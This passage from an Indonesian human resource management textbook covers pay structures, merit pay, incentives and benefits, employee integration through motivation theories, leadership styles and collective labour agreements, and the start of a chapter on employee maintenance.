gaji, tentang berapa pembayaran majikan lain untuk pekerjaan<br />yang sejenis untuk keadilan eksternal<br />2) Tentukan nilai dari masing-masing pekerjaan dalam organisasi melalui evaluasi<br />jabatan untuk keadilan internal. Adapun tujuan evaluasi jabatan menetapkan nilai<br />relatif suatu jabatan. Evaluasi jabatan merupakan perbandingan formal dan sistematis<br />dari jabatan untuk menetapkan nilai dari satu jabatan dalam hubungannya dengan<br />jabatan lain, yang akhirnya menghasilkan suatu hirarki upah dan gaji. Sistem evaluasi<br />jabatan ini masih sering diinginkan karena perbedaan keterampilan individual<br />sehingga perusahaan menggunakan kisaran gaji untuk kelompok jabatan yang serupa,<br />kisaran gaji yang digunakan perusahaan sering mencerminkan perbedaan dalam<br />keterampilan.<br />3) Kelompokkan pekerjaan-pekerjaan serupaq kedalam tingkat upah.<br />4) Tentukan dengan tepat tarif upah, ini sesuai dengan UMP (Upah Minimum<br />Pemerintah.<br />76<br />B. Balas Jasa Berdasarkan “MERIT “<br />Merit Pay adalah pembayaran imbalan yang dikaitkan dengan kinerja. Semakin<br />tinggi kinerja, semakin tinggi imbalan yang dibayarkan. Tujuan utama setiap organisasi<br />merancang sistem imbalan (rewards) adalah untuk memotivasi karyawan dalam<br />meningkatkan kinerja serta mempertahankan karyawan yang berkompeten.<br />Dengan merancang sistem imbalan yang baik akan memiliki dampak ganda, bagi<br />organisasi dan perilaku serta sikap karyawan. Perusahaan harus dapat merancang sistem<br />berdasarkan job evaluation terdapat kendala seperti perubahan desain pekerjaan, skill<br />tenaga kerja yang beragam sehingga mempersulit keakuratan penilaian kinerja. Maka<br />untuk menjembatani kepentingan dua belah pihak digunakan sistem merit.<br />Konsep merit pay merupakan sistem pembayaran yang mengkaitkan imbalan<br />(reward) dengan prestasi (performance) karyawan, antara lain :<br />1) Pembayaran yang didasarkan prestasi/kinerja merupakan sistem pembayaran reguler<br />dimana pekerja harus dievaluasi secara reguler kinerjanya.<br />2) Sebelum menerapkan sistem Merit Pay, pertanyaan yang harus dijawab :<br /> Apakah pembayaran dinilai oleh karyawan<br /> Apakah sasaran yang dicapai dibayar berdasarkan kinerja<br /> Apakah nilai-nilai perusahaan menguntungkan bagi sistem pembayaran<br />kinerja<br /> Dapatkah kinerja diukur dan dievaluasi<br /> Bagaimana bayaran akan dikaitkan dengan kinerja (peningkatan jasa, bonus,<br />komisi, insentif) apakah sumber keuangan organisasi memadai<br /> Tahapan apa yang ditempuh untuk memantau dan mengendalikan sistem<br /> Tahap-tahap apa yang ditempuh manajemen dan karyawan mempunyai<br />komitmen terhadap sistem.<br />C. Insentif Finansial<br />Insentif finansial dibayarkan kepada pekerja yang produknya melebihi standar<br />yang telah dipopulerkan F. Taylor, pada saat sistem kerja dibayar berdasarkan hasil kerja<br />(upah tarif per potong), yang penggunannya kurang efektif. Pendekatan kompensasi<br />77<br />langsung (gaji variabel) secara tradisional di banyak organisasi, dimana karyawan hanya<br />menerima imbalan berdasarkan upah/gaji semata, sedikit yang menerima tambahan<br />bayaran yang dikaitkan dengan kinerja kecuali kenaikan gaji berkala pada gaji pokok.<br />Jenis rencana insentif<br />1. Insentif untuk karyawan operasi<br />2. Insentif untuk kelompok atau tim<br />3. Insentif untuk para manajer dan eksekutif<br />4. Insentif untuk para penjual<br />5. Insentif untuk profesional lain<br />Mengembangkan rencana insentif yang efektif<br />1. Bila unit-unit keluaran dapat diukur<br />2. Karyawan dapat mengontrol keluaran<br />3. Hubungan imbalan dan usaha jelas<br />4. Dapat mengontrol apa kualitas/kuantitas yang penting<br />5. Kondisi kompetitif menuntut biaya tenaga kerja harus diketahui.<br />D. Fasilitas Dan Jasa<br />Fasilitas (tunjangan) dan jasa merupakan konmpensasi yang tidak langsung,<br />karena tidak berhubungan dengan kinerja seseorang. Tunjangan dan jasa harus dilihat<br />sebagai bagian dari paket total kompensasi yang ditawarkan kepada karyawan. Tapi<br />sering terjadi manajer atau karyawan berpikir bahwa kompensasi itu hanya upah/gaji dan<br />gagal melihat adanya biaya tambahan yang dihubungkan dengan biaya fasilitas dan jasa.<br />1. Tujuan dan Pentingnya fasilitas Jasa<br />Perusahaan menyediakan tunjangan dan pelayanan terutama memikat dan<br />mempertahankan pekerja yang cakap, karena mereka percaya bahwa kompensasi yang<br />tidak langsung akan membantu :<br />a. Memikat pekerja yang baik<br />b. Meningkatkan moral pekerja<br />c. Mengurangi tingkat keluar masuknya pekerja<br />d. Meningkatkan kepuasan kerja<br />78<br />e. Memotivasi pekerja<br />f. Meningkatkan citra organisasi dimata pekerja dan usaha.<br />2. Program Fasilitas dan Perayaan<br />Dewasa ini, tunjangan dan pelayanan merupakan persentase dari total imbalan<br />(upah/gaji) yang dibayarkan perusahaan kepada karyawan misalnya asuransi kesehatan<br />dan tunjangan pensiun serta keamanan sosial. Pengklasifikasian tunjangan dan jasa :<br />a. Upah untuk waktu tidak bekerja<br />Tunjangan upah suplemen adalah tunjangan untuk masa tidak bekerja seperti<br />asuransi pengangguran, upah cuti, liburan dan upah sakit<br />b. Tunjangan Asuransi<br />Tunjangan ini dapat berupa asuransi jiwa, asuransi rumah sakit, medis, dan cacad.<br />c. Tunjangan Pensiun<br />d. Tunjangan Dinas Karyawan<br />e. Program Pelayanan Lentur<br />Evaluasi kinerja karyawan dan kompensasi diselenggarakan dalam suatu<br />organisasi memiliki tujuan tertentu. Pemberian kompensasi yang cukup baik dan tinggi<br />mengandung implikasi terhadap organisai berupa kehati-hatian dalam penggunaan tenaga<br />kerja supaya dapat seefisien dan seefektif mungkin. Sebab dengan cara demikian<br />organisasi akan memperoleh manfaat/keuntungan yang maksimal. Selain itu, pemberian<br />kompensasi yang efektif dan efisien secara langsung dapat membantu stabilitas<br />organisasi, dan secara tidak langsung ikut andil dalam mendorong stabilitas serta<br />pertumbuhan ekonomi Negara secara keseluruhan.<br />Disisi lain kompensasi mengandung tujuan-tujuan; 1). Memperoleh Personalia<br />Yang Qualified .2) Memikat karyawan dan menahan karyawan yang kompeten. 3)<br />Menjamin Keadilan 4) Menghargai Perilaku Yang Diinginkan(mendorong peningkatan<br />prodktivitas kerja) 5) Mengendalikan Biaya-biaya 6) Memenuhi Peraturan-peraturan<br />Legal 7) pengaitan kompensasi dengan kesuksesan organisasi; semakin organisasi<br />mampu memberikan gaji yang tinggi menunjukkan semakin sukses organisasi tersebut<br />79<br />Dalam rangka memberikan gaji kepada karyawan perlu diadakan pengukuran<br />kontribusi yang tepat. Sedangkan untuk mengadakan pengukuran kontribusi tersebut<br />dapat dilakukan dengan melalui tiga cara :<br />a. Kelayakan karyawan (job worth)<br />Kelayakan karyawan merupakan sebuah criteria yang menyangkut bagaimana<br />kondisi karyawan . Apakah karyawan tersebut layak untuk dilakukan dalam<br />kapasitas yang sesuai atau tidak. Dan apakah karyawan tersebut cukup setara<br />dengan karyawan yang menerima tugas, jika dibandingkan dengan tingkat<br />kedudukan dan tugas yang relevan.<br />b. Karakteristik perseorangan (personal characteristics)<br />Karakteristik perseorangan akan menyangkut masalah senioritas dan yunioritas.<br />Asumsi yang sering berlaku dan diyakini adalah bahwa karyawan yang cukup senior<br />dipandang telah memiliki kinerja yang tinggi, sedangkan yang masih yunior masih<br />perlu dikembangkan dan dibina lagi.<br />c. Kualitas kinerja karyawan<br />Kinerja sebagai criteria penting dalam penentuan struktur gaji. Melalui kinerja<br />karyawan ini dapat diketahui bahwa sesungguhnya analisis dan penilaian karyawan<br />tidak sekadar berdasarkan senioritas dan yunioritas. Senioritas belum tentu<br />menentukan kemempuan kerja. Dapat terjadi seseorang yang berstatus sebagai<br />karyawan yunior dapat bekerja dengan menunjukkan kinerja yang baik dari pada<br />karyawan yang senior.<br />Dalam kompensasi, teori keadilan harus diciptakan karena penting bagi manusia.<br />Ketidakadilan tidak menjadikan kepuasan karyawan . Organisasi menggunakan<br />kompensasi untuk memotivasi karyawan nya. Organisasi tidak hanya harus memiliki<br />sisterm yang wajar dan adil, system ini juga harus dijelaskan kepada para karyawan nya.<br />System kompensasi yang paling adil dan wajar adalah apabila karyawan merasakan<br />bahwa system tersebut memang benar-benar adil. Untuk menjamin keadilan kompensasi<br />harus diambil langkah-langkah :<br />a. Pembuatan program kompensasi harus didahului dengan aktivitas pengumpulan data<br />dan analis data yang terkait secara berhati-hati dan benar, selanjutnya hasil analisis<br />80<br />tersebut sebagai input utama pada policy maker dalam membuat keputusan<br />kompensasi<br />b. Kompensasi tidak boleh statis, dirubah sesuai kondisi<br />c. Karyawan membutuhkan pengertian akan program kompensasi, terutama berkenaan<br />dengan bagaimana reward didapatkan, karena kondisi ini dapat mempengaruhi kinerja<br />karyawan .<br />Pada masa sekarang ini beberapa organisasi mulai menggunakan reward system<br />yang didesain dengan tujuan dapat memberikan bagian keuntungannya, baik bagi para<br />anggota yang inovatif maupun organisasinya. Jika seorang individu muncul dengan ide<br />mengenai sebuah produk atau jasa, baik yang sifatnya baru maupun beberapa modifikasi,<br />mungkin dari desain karyawan yang sudah ditetapkan, akan diberikan reward berupa<br />penghargaan ataupun sebagian dari perolehan keuntungannya.<br />81<br />BAB IX<br />PENGINTEGRASIAN<br />A. Pentingnya Pengintegrasian<br />Pengintegrasian (integration) ialah fungsi operasional manajemen personalia yang<br />terpenting, sulit dan kompleks untuk merealisasikannya. Hal ini disebabkan karena<br />karyawan/manusia bersifat dinamis dan mempunyai pikiran, perasaan, harga diri, sifat,<br />serta membawa latar belakang, perilaku, keinginan dan kebutuhan yang berbeda-beda<br />dalam organisasi perusahaan.<br />Karyawan tidak dapat diperlakukan seenaknya seperti menggunakan faktor-faktor<br />produksi lainnya (mesin, modal atau bahan baku). Karyawan juga harus selalu<br />diikutsertakan dalam setiap kegiatan serta memberikan peran aktif untuk menggunakan<br />alat-alat yang ada. Karena tanpa peran aktif karyawan, alat-alat canggih yang dimiliki<br />tidak ada artinya bagi peruashaan untuk mencapai tujuannya. Tujuan perusahaan hanya<br />dapat dicapai jika para karyawan bergairah bekerja, mengerahkan kemampuannya dalam<br />menyelesaikan pekerjaan, serta berkeinginan untuk mencapai prestasi kerja yang optimal.<br />Jika karyawan kurang berprestasi maka sulit bagi organisasi perusahaan dapat<br />memperoleh hasil yang baik. Hal ini mengharuskan pemimpin menggunakan<br />kewenangannya untuk mengubah sikap dan perilaku karyawan supaya mau bekerja giat<br />serta berkeinginan mencapai hasil yang optimal.<br />Pengintegrasian adalah kegiatan menyatupadukan keinginan karyawan dan<br />kepentingan perusahaan, agar tercipta kerja sama yang memberikan kepuasan.<br />Usaha untuk pengintegrasian dilakukan melalui hubungan antar manusia (human<br />relation), motivasi, kepemimpinan, kesepakatan kerja bersama (KKB), dan Collective<br />Bargaining.<br />Jadi pengintegrasian adalah hal yang sangat penting dan merupakan salah satu<br />kunci untuk mencapai hasil yang baik bagi perusahaan maupun terhadap karyawan<br />sehingga memberikan kepuasan kepada semua pihak. Kayawan dapat memenuhi<br />kebutuhannya dan perusahaan memperoleh laba.<br />82<br />Tujuan Pengintegrasian<br />Tujuan pengintegrasian adalah memanfaatkan karyawan agar mereka bersedia<br />bekerja keras dan berpartisipasi aktif dalam menunjang tercapainya tujuan perusahaan<br />serta terpenuhinya kebutuhan karyawan.<br />Prinsip Pengintegrasian<br />Prinsip pengintegrasian adalah menciptakan kerjasama yang baik dan saling<br />menguntungkan.<br />Metode Pengintegrasian<br />Metode-metode pengintegrasian yang kita kenal adalah sebagai berikut :<br />1). Hubungan antar manusia (Human Relations)<br />2). Motivasi (Motivation)<br />3). Kepemimpinan (Leadership)<br />4). Kesepakatan Kerja Bersama (KKB)<br />5). Collective Bargaining<br />B. Hubungan Antarmanusia<br />Hubungan antarmanusia (Human Relation) adalah hubungan kemanusiaan yang<br />harmonis, tercipta atas kesadaran dan kesediaan melebur keinginan individu demi<br />terpadunya kepentingan bersama. Tujuannya adalah menghasilkan integrasi yang cukup<br />kukuh, mendorong kerjasama yang produktif dan kreatif untuk mencapai sasaran<br />bersama. Manajer dalam menciptakan hubungan antarmanusia yang harmonis<br />memerlukan kecakapan dan keterampilan tentang komunikasi, psikologi, sosiologi,<br />antropologi dan etologi, sehingga dia memahami serta dapat mengatasi masalah-masalah<br />dalam hubungan kemanusiaan.<br />C. Pengertian dan Teori-Teori Motivasi<br />1). Pengertian Motif dan Motivasi<br />Motivasi berasal dari kata latin movere yang berartin dorongan atau<br />menggerakkan. Motivasi (motivation) dalam manajemen hanya ditujukan pada sumber<br />83<br />daya manusia umumnya dan bawahan khususnya. Motivasi mempersoalkan bagaimana<br />caranya mengarahkan daya dan potensi bawahan, agar mau bekerja sama secara produktif<br />berhasil mencapai dan mewujudkan tujuan yang telah ditentukan.<br />Pentingnya motivasi karena motivasi adalah hal yang menyebabkan, menyalurkan<br />dan mendukung perilaku manusia, supaya mau bekerja giat dan antusias mencapai hasil<br />yang optimal. Motivasi semakin penting karena manajer membagikan pekerjaan pada<br />bawahannya untuk dikerjakan dengan baik dan terintegrasi kepada tujuan yang<br />diinginkan.<br />Perterson dan Plowman mengatakan bahwa orang mau bekerja karena faktorfaktor<br />berikut :<br />a. The desire to live (keinginan untuk hidup)<br />b. The desire for position (keinginan untuk suatu posisi)<br />c. The desire for power (keinginan akan kekuasaan)<br />d. The desire for recognation (keinginan akan pengakuan)<br />Motivasi adalah pemberian daya penggerak yang menciptakan kegairahan kerja<br />seseorang agar mereka mau bekerja asma, bekerja efektif dan terintegrasi dengan segala<br />daya upayanya untuk mencapai kepuasan.<br />Edwin B Flippo<br />Direction or motivation is essence, it is a skill in aligning employee and<br />organization interest so that behavior result in achievement of employee want<br />simultaneously with attainment or organizational objectives.<br />(Motivasi adalah suatu keahlian, dalam mengarahkan pegawai dan organisasi agar mau<br />bekerja secara berhasil, sehingga keinginan para pegawai dan tujuan organisasi sekaligus<br />tercapai).<br />Menurut American Encyclopedia<br />Motivation: That predisposition (it self the subject of much controvency) within<br />the individual wich arouses sustain and direct his behavior. Motivation involve such<br />factor as biological and emotional needs that can only be inferred from observation<br />behavior).<br />84<br />(Motivasi adalah kecenderungan (suatu sifat yang merupakan pokok pertentangan) dalam<br />diri seseorang yang membangkitkan topangan dan mengarahkan tindak-tanduknya.<br />Motivasi meliputi faktor kebutuhan biologis dan emosional yang hanya dapat diduga dari<br />pengamatan tingkah laku manusia).<br />Merle J. Moskowits<br />Motivation is usually refined the initiation and direction of behavior, and the<br />study of motivation is in effect the study of course of behavior.<br />(Motivasi secara umum didefinisikan sebagai inisiasi dan pengarahan tingkah laku dan<br />pelajaran motivasi sebenarnya merupakan pelajaran tingkah laku).<br />Motif<br />Motif adalah suatu perangsag keinginan (want) dan daya penggerak kemauan<br />bekerja seseorang. Setiap motif mempunyai tujuan tertentu yang ingin dicapai (Penulis).<br />Perbedaan pengertian keinginan (want) dan kebutuhan (needs) adalah keinginan<br />(want) dari setiap orang berbeda karena dipengaruhi oleh selera, latar belakang dan<br />lingkungannya, sedangkan kebutuhan (needs) semua orang adalah sama.<br />Konsep motif dan motivasi<br />Perangsang materiil &<br />nonmateriil oleh internal &<br />eksternal<br />Pemenuhan<br />kebutuhan<br />Rangsangan keinginan<br />dan perilaku individu<br />manusia<br />Daya penggerak dan<br />kemauan bekerja<br />85<br />Keterangan ;<br />1). Perangsang berbentuk materiil atau nonmateriil yang tercipta oleh internal<br />(keinginan) maupun eksternal yang dilakukan oleh manajer.<br />2). Rangsangan yang menciptakan keinginan (want) dan mempengaruhi perilaku<br />seseorang (individu)<br />3). Keinginan menjadi daya penggerak dan kemauan bekerja seseorang (individu)<br />4). Kemauan bekerja menghasilkan pemenuhan kebutuhan dan kepuasan seseorang.<br />5). Kebutuhan dan kepuasan mendorong menciptakan perangsang selanjutnya dan<br />seterusnya, jadi merupakan siklus.<br />Menurut Dr. David Mc. Clelland terdapat pola motivasi yang menonjol :<br />1). Achievement motivation, yaitu suatu keinginan untuk mengatasi/ mengalahkan suatu<br />tantangan, untuk kemajuan, dan pertumbuhan.<br />2). Affiliation motivation, yaitu dorongan untuk melakukan hubungan dengan orang lain.<br />3). Competence motivation, yaitu dorongan untuk melakukan pekerjaan yang bermutu<br />4). Power motivation, yaitu dorongan yang dapat mengendalikan suatu keadaan. Dalam<br />hal ini ada kecenderungan untuk mengambil risiko dan menghancurkan rintangan<br />yang terjadi.<br />Sifat ini banyak dilakukan/terdapat pada orang-orang yang berkecimpung dalam<br />bidang politik. Power motivation ini tidak akan berakibat terlalu buruk, jika diikuti oleh<br />achievement, affiliation dan competence motivation.<br />2). Tujuan Motivasi<br />Tujuan motivasi antara lain sebagai berikut :<br />a. Meningkatkan moral dan kepuasan kerja karyawan<br />b. Meningkatkan produktivitas kerja karyawan<br />c. Mempertahankan kestabilan karyawan perusahaan<br />d. Meningkatkan kedisiplinan karyawan<br />e. Mengefektifkan pengadaan karyawan<br />f. Menciptakan suasana dan hubungan kerja yang baik<br />g. Meningkatkan loyalitas, kreativitas dan partisipasi karyawan<br />86<br />h. Meningkatkan tingkat kesejateraan karyawan<br />i. Mempertinggi rasa tanggung jawab karyawan terhadp tugas-tugasnya<br />j. Meningkatkan efisiensi penggunaan alat-alat dan bahan baku<br />3). Asas-asas Motivasi<br />a. Asas Mengikutsertakan<br />Maksudnya mengajak bawahan untuk ikut berpartisipasi dan memberikan kesempatan<br />kepada mereka mengajukan ide-ide, rekomendasi dalam proses pengambilan<br />keputusan.<br />b. Asas Komunikasi<br />Maksudnya menginformasikan secara jelas tentang tujuan yang ingin dicapai, cara<br />mengerjakannya dan kendala yang dihadapi.<br />c. Asas Pengakuan<br />Maksudnya memberikan penghargaan dan pengakuan yang tepat secara wajar kepada<br />bawahan atas prestasi kerja yang dicapainya.<br />d. Asas Wewenang yang Didelegasikan<br />Maksudnya mendelegasikan sebagian wewenang serta kebebasan karyawan untuk<br />mengambil keputusan dan berkreativitas dan melaksanakan tugas-tugas atasan atau<br />manajer.<br />e. Asas Perhatian Timbal Balik<br />Asas perhatian timbal balik adalah memotivasi bawahan dengan mengemukakan<br />keinginan atau harapan perusahaan disamping beruasha memenuhi kebutuhankebutuhan<br />yang diharapkan bawahan dari perusahaan.<br />4). Metode Motivasi<br />a. Motivasi Langsung (Rirect Motivation)<br />Adalah motivasi (materiil dan nonmateriil) yang diberikan secara langsung<br />kepada setiap individu karyawan untuk memenuhi kebutuhan serta kepuasannya.<br />87<br />b. Motivasi Tak Langsung (Indirect Motivation)<br />Adalah motivasi yang diberikan hanya merupakan fasilitas-fasilitas yang<br />mendukung serta menunjang gairah kerja/kelancaran tugas sehingga para<br />karyawan betah dan bersemangat melakukan pekerjaannya.<br />5). Alat-Alat Motivasi<br />Alat-alat motivasi (daya perangsang) yang diberikan kepada bawahan dapat<br />berupa material incentive dan nonmaterial incentive. Material incentive adalah motivasi<br />yang bersifat materiil sebagai imbalan prestasi yang diberikan oleh karyawan. Yang<br />termasuk material incentive adalah yang berbentuk uang dan barang-barang.<br />Nonmaterial incentive adalah motivasi (daya perangsang) yang tidak berbentuk<br />materi. Yang termasuk nonmaterial adalah penempatan yang tepat, pekerjaan yang<br />terjamin, piagam penbghargaan, bintang jasa, perlakuan yang wajar, dan sejenisnya.<br />6). Jenis-Jenis Motivasi<br />a. Motivasi Positif (Insentif Positif)<br />Maksudnya manajer memotivasi (merangsang) bawahan dengan memberikan<br />hadiah kepada mereka yang berprestasi di atas prestasi standar.<br />b. Motivasi negatif (Insentif Negatif)<br />Maksudnya manajer memotivasi bawahan dengan standar mereka akan mendapat<br />hukuman.<br />7). Teori – Teori Motivasi<br />a. Teori Motivasi Klasik<br />Frederik Winslow Taylor mengemukakan teori motivasi klasik atau teori motivasi<br />kebutuhan tunggal. Teori ini berpendapat bahwa manusia mau bekerja giat untuk<br />dapat memenuhi kebutuhan fisik/biologisnya, berbentuk uang/barang dari hasil<br />pekerjaannya.<br />Konsep dasar teori ini adalah orang akan bekerja giat bilamana ia mendapat<br />imbalan materi yang mempunyai kaitan dengan tugas-tugasnya. Manajer<br />menentukan bagaimana tugas dikerjakan dengan menggunakan sistem insentif<br />88<br />untuk memotivasi para pekerja. Semakin banyak mereka berproduksi, semakin<br />besar penghasilan mereka.<br />b. Maslow’s Need Hierarchy Theory<br />Maslow (1943) mengemukakan teori motivasi yang dinamakan Maslow’s Need<br />Hierarchy Theory/A Theory of Human Motivation atau Teori Hierarki Kebutuhan<br />dari Maslow. Hierarki Kebutuhan dari maslow ini diilhami oleh Human Science<br />Theory dari Elton Mayo.<br />Hierarki kebutuhan mengikuti teori jamak yakni seseorang berperilaku/bekerja,<br />karena adanya dorongan untuk memenuhi bermacam-macam kebutuhan. Maslow<br />berpendapat, kebutuhan yang diinginkan seseorang itu berjenjang. Artinya, jika<br />kebutuhan yang pertama telah terpenuhi, kebutuhan tingkat kedua akan muncul<br />menjadi yang utama. Selanjutnya jika kebutuhan tingkat kedua telah terpenuhi,<br />muncul kebutuhan tingkat ketiga dan seterusnya sampai tingkat kebutuhan<br />kelima.<br />5. Self Actualization<br />4. Esteem or Status<br />3. Affiliation or Acceptance<br />2. Safety and Security<br />1. Physicological<br />Pemuas kebutuhan-kebutuhan<br />Tingkat-tingkat kebutuhan<br />89<br />Teori X dan Teori Y Mc. Gregor<br />Teori X<br />[1] Rata-rata karyawan malas dan tidak suka bekerja<br />[2] Umumnya karyawan tidak berambisi mencpaai prestasi yang optimal dan selalu<br />menghindarkan tanggung jawabnya dengan cara mengkambinghitamkan orang lain<br />[3] Karyawan lebih suka dibimbing, diperintah dan diawasi dalam melaksanakan<br />pekerjaannya<br />[4] Karyawan lebih mementingkan diri sendiri dan tidak mempedulikan tujuan<br />organisasi.<br />Menurut teori X ini untuk memotivasi karyawan harus dilakukan dengan cara<br />pengawasan yang ketat, dipaksa dan diarahkan supaya mereka mau bekerja sungguhsungguh.<br />Jenis motivasi yang diterapkan adalah cenderung kepada motivasi negatif yakni<br />dengan menerapkan hukuman yang tegas.<br />Tipe kepemimpinan teori X adalah otoriter sedangkan gaya kepemimpinannya<br />berorientasi pada prestasi kerja.<br />Teori Y<br />[1] Rata-rata karyawan rajin dan menganggap sesungguhnya bekerja sama wajarnya<br />dengan bermain-main dan beristirahat. Pekerjaan tidak perlu dihindari dan<br />dipaksakan, bahkan banyak karyawan tidak betah dan merasa kesal jika tidak<br />bekerja.<br />[2] Lazimnya karyawan dapat memikul tanggung jawab dan berambisi untuk maju<br />dengan mencapai prestasi kerja yang optimal.<br />[3] Karyawan selalu berusaha mencpaai sasaran organisasi dan mengembangkan dirinya<br />untuk mencapai sasaran itu. Organisasi seharusnya memungkinkan karyawan<br />mewujudkan potensinya sendiri dengan memberikan sumbangan pada tercapainya<br />sasaran perusahaan.<br />90<br />Menurut teori Y ini untuk memotivasi karyawan hendaknya dilakukan dengan<br />cara peningkatan partisipasi karyawan, kerjasama dan keterikatan pada keputusan.<br />Tegasnya, dedikasi dan partisipasi akan lebih menjamin tercapainya sasaran.<br />Jenis motivasi yang diterapkan adalahg motivasi positif, sedangkan tipe<br />kepemimpinannya adalah kepemimpinan partisipatif.<br />A. W. Willsmore menggambarkan teori X dan Y secara umum sebagai konsep di<br />bawah ini.<br />Bagan teori X dan Y menurut A.W. Willismore<br />D. Pemimpin dan Teori Kepemimpinan<br />Kepemimpinan (leadership) yang ditetapkan oleh seorang manajer dalam<br />organisasi dapat menciptakan integrasi yang serasi dan mendorong gairah kerja karyawan<br />untuk mencapai sasran yang maksimal. Kepemimpinan adalah kata benda dari pemimpin<br />(leader).<br />Pemimpin (Leader = head) adalah seseorang yang mempergunakan wewenang<br />dan kepemimpinannya, mengarahkan bawahan untuk mengerjakan sebagian<br />pekerjaannya dalam mencapai tujuan organisasi.<br />X-Theory<br />People dislike work<br />They must be coerced,<br />controlled, directed<br />And this is all they really<br />want<br />Y-Theory<br />Work is as natural as restorplay<br />People don’t have to be forced or<br />thretened to make them work<br />But they will work like this if<br />commited & if they see<br />satiefaction for their ego &<br />development needs<br />External control threat of<br />punishment<br />Self control<br />Self direction<br />91<br />Kepemimpinan adalah cara seorang pemimpin mempengaruhi perilaku bawahan,<br />agar mau bekerjasama dan bekerja produktif untuk mencapai tujuan organisasi.<br />Gaya kepemimpinan menurut pendapat penulis, yaitu :<br />1). Kepemimpinan Otoriter<br />Adalah jika kekuasaan atau wewenang, sebagian besar mutlak tetap berada pada<br />pimpinan atau kalau pimpinan itu menganut sistem sentralisasi wewenang.<br />Pengambilan keputusan dan kebijaksanaan hanya ditetapkan sendiri oleh pemimpin,<br />bawahan tidak diikutsertakan untuk memberikan saran, ide dan pertimbangan dalam<br />proses pengambilan keputusan. Falsafah pemimpin ialah ”bawahan adalah untuk<br />pimpinan/atasan”.<br />Orientasi kepemimpinannya difokuskan hanya untuk peningkatan produktivitas kerja<br />karyawan dengan kurang memperhatikan perasaan dan kesejahteraan bawahan.<br />Pimpinan menganut sistem manajemen tertutup (closed management) kurang<br />menginformasikan keadaan perusahaan pada bawahannya. Pengkaderan kurang<br />mendapat perhatiannya.<br />2). Kepemimpinan Partisipatif<br />Adalah apabila dalam kepemimpinannya dilakukan dengan cara persuasif,<br />menciptakan kerjasama yang serasi, menumbuhkan loyalitas, dan partisipasi para<br />bawahan. Pemimpin memotivasi bawahan agar merasa ikut memiliki perusahaan.<br />Falsafah pemimpin ialah ”pimpinan (dia) adalah untuk bawahan”.<br />3). Kepemimpinan Delegatif<br />Pada prindipnya pemimpin bersikap, menyerahkan dan mengatakan kepada bawahan<br />”Inilah pekerjaan yang harus saudara kerjakan, saya tidak peduli, terserah saudara<br />bagaimana mengerjakannya asal pekerjaan tersebut bisa diselesaikan dengan baik”.<br />Disini pimpinan menyerahkan tanggung jawab atas pelaksanaan pekerjaan kepada<br />bawahan dalam arti pimpinan menginginkanagar para bawahan bisa mengendalikan<br />diri mereka sendiri dalam menyelesaikan pekerjaan tersebut. Kematangan pekerjaan<br />dikaitkan dengan kemampuan untuk melakukan sesuatu yang berdasarkan<br />pengetahuan dan keterampilan. Kematangan psikologis dikaitkan dengan kemauan<br />atau motivasi untuk melakukan sesuatu yang erat kaitannya dengan rasa yakin dan<br />keterikatan.<br />92<br />E. Kesepakatan Kerja Bersama dan Collective Bargaining<br />Kesekapatan Kerja Bersama (KKB)<br />Kesepakatan Kerja Bersama (KKB) berperan penting dalam menciptakan<br />pengintegrasian, membina kerja sama dan menghindarkan terjadinya konflik dalam<br />perusahaan. Dengan KKB ini diharapkan permasalahan yang dihadapi karyawan dengan<br />perusahaan dapat diatasi dengan baik.<br />Misalnya : kenaikan gaji/upah, tunjangan hari raya, pemecatan buruh, dan lain-lain<br />KKB adalah musyawarah dan mufakat antara pimpinan perusahaan dengan<br />pimpinan serikat karyawan (buruh) dalam memutuskan masalah yang menyangkut<br />kebutuhan karyawan dan kepentingan peruashaan. Dengan landasan musyawarah dan<br />mufakafat diharapkan tercipta integrasi yang serasi dalam perusahaan. Kkkaryawan<br />menjadi partner kerja sama yang baik bagi perusahaan.<br />Collective Bargaining<br />Collective bargaining adalah adanya pandangan antara pimpinan perusahaan<br />denga pimpinan serikat buruh (karyawan) dalam menetapkan keputusan-keputusan yang<br />menyangkut kepentingan perusahaan dan kebutuhan buruh. Hal ini dilakukan agar<br />tercipta integrasi yang harmonis dan usaha-usaha untuk menghindari terjadinya konflik<br />dalam perusahaan.<br />Collective bargaining didasarkan atas perundingan yang berarti adu kekuatan,<br />siapa yang mempunyai posisi kuat maka dialah yang banyak menentukan keputusan.<br />Sedangkan KKB didasarkan atas musyawarah dan mufakat dalam menetapkan keputusan,<br />bukan atas adu kekuatan/posisi.<br />Collective bargaining dapat diibaratkan seperti demokrasi barat, sedangkan KKB<br />seperti demokrasi Pancasila.<br />93<br />BAB X<br />PEMELIHARAAN<br />A. Pentingnya Pemeliharaan<br />Pemeliharaan (maintenance) karyawan harus mendapat perhatian yang sungguhsungguh<br />dari manajer. Jika pemeliharaan karyawan kurang diperhatikan, semangat kerja,<br />sikap dan loyalitas karyawan akan menurun. Absensi dan turn over meningkat, disiplin<br />akan menurun, sehingga pengadaan, pengembangan, kompensasi, dan pengintegrasian<br />yang telah dilakukan dengan baik dan biaya yang besar kurang berarti untuk menunjang<br />tercapainya tujuan perusahaan.<br />Tujuan Pemeliharaan<br />1). Untuk meningkatkan produktivitas kerja karyawan<br />2). Meningkatkan disiplin dan menurunkan absensi karyawan<br />3). Meningkatkan loyalitas dan menurunkan turnover karyawan<br />4). Memberikan ketenangan, keamanan dan kesehatan karyawan<br />5). Meningkatkan kesejahteraan karyawan dan keluarganya<br />6). Memperbaiki kondisi fisik, mental dan sikap karyawan<br />7). Mengurangi konflik serta menciptakan suasana yang harmonis<br />8). Mengefektifkan pengadaan karyawan<br />Asas-asas Pemeliharaan<br />1). Asas manfaat dan efisiensi<br />2). Asas kebutuhan dan kepuasan<br />3). Asas keadilan dan kelayakan<br />4). Asas peraturan legal<br />5). Asas kemampuan perusahaan<br />94<br />B. Metode-Metode Pemeliharaan<br />1). Komunikasi<br />Komunikasi harus digunakan dalam setiap penyampaian informasi dari komunikator<br />kepada komunikan. Komunikasi berfungsi untuk instructive, informative, influencing<br />dan evaluative.<br />Simbol-simbol komunikasi adalah suara, tulisan, gambar, warna, mimik, kedipan<br />mata, dan lain-lain. Dengan simbol-simbol inilah komunikator menyampaikan<br />informasi kepada komunikan.<br />2). Insentif<br />a. Pengertian Insentif<br />Insentif adalah daya perangsang yang diberikan kepada karyawan tertentu<br />berdasarkan prestasi kerjanya agar karyawan terdorong meningkatkan<br />produktivitas kerjanya.<br />b. Metode Insentif<br />Metode insentif yang adil dan layak merupakan data penggerak yang merangsang<br />terciptanya pemeliharaan karyawan. Karena dengan pemberian insentif karyawan<br />merasa mendapat perhatian dan pengakuan terhadap prestasi yang 